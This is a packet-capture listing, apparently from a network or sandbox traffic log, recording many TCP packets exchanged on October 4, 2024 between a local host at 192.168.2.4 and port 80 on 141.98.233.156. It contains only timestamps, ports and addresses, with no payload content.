Oct 4, 2024 09:52:33.029553890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029553890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029558897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029581070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029592991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029601097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029623985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029658079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029659033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029675007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029709101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029728889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029742002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029759884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029773951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029803038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029807091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029822111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029839993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029875040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029875040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029894114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029931068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.029934883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029967070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.029987097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030000925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030016899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030034065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030050993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030066013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030087948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030097961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030111074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030142069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030164957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030186892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030194044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030215025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030246019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030246019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030278921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030286074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030307055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030312061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030344963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030348063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030368090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030380011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030390024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030430079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030486107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030517101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030540943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030550003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030563116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030582905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030603886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030616045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030628920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030647993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030668020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030683041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030694962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030734062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.030934095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030966043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030998945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.030999899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031032085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031034946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031053066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031064987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031070948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031097889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031119108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031131983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031147957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031163931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031183004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031197071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031218052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031271935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031301022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031302929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031322002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031337023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031364918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031371117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031424999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031424999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031440020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031474113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031491995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031507015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031527996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031548977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031627893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031660080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031681061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031692028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031706095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031723976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031744957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031755924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031774998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031786919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031819105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031821012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031851053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031852961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031871080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031886101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031905890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031917095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031939030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031949043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.031960964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.031981945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032001972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032016993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032028913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032048941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032067060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032100916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032119036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032134056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032157898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032181025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032259941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032291889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032310009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032322884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032342911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032356024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032365084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032404900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032521009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032654047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032685995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032715082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032715082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032718897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032762051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032783985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032783985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032794952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032808065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032825947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032851934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032860041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032877922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032891035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032917023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032922029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032938957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032949924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032968998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.032982111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.032994032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033014059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033026934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033045053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033058882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033077955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033088923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033107996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033121109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033139944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033152103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033171892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033185959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033202887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033212900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033236027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033250093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033267975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033278942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033313990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033458948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033492088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033507109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033523083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033536911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033555031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033566952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033600092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033602953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033633947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033646107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033664942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033679008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033696890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033710003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033729076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033741951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033761024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033771992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033792973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033806086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033824921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033838987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033857107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033870935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033889055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033900976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033921003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033934116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033951998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033965111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.033983946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.033997059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034017086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034028053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034065008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034240007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034271955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034287930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034303904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034316063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034336090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034347057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034368992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034382105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034401894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.034414053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.034444094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118261099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118328094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118345976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118364096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118396997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118412018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118439913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118489981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118522882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118527889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118527889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118557930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118567944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118590117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118603945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118639946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118642092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118674994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118684053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118706942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118720055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118740082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118752956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118771076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118783951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118804932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118813038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118837118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118849039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118872881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118884087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118905067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118916035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118937969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118948936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.118973970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.118980885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119018078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119242907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119275093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119293928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119307041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119323015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119338989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119352102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119370937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119420052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119420052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119430065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119462967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119487047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119494915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119508028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119529009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119555950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119560957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119579077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119594097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119606018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119630098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119641066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119663000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119674921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119697094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119724035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119731903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119733095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119781971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119852066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119884968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119896889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119916916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119930029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119951963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119963884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.119983912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.119996071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120018005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120029926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120052099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120062113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120084047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120095015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120125055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120137930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120156050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120167017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120193005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120204926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120224953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120238066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120281935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120292902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120317936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120325089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120359898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120536089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120568037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120579958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120599985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120611906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120631933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120645046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120663881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.120676994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.120696068 CEST	80	49745	141.98.233.156	192.168.2.4
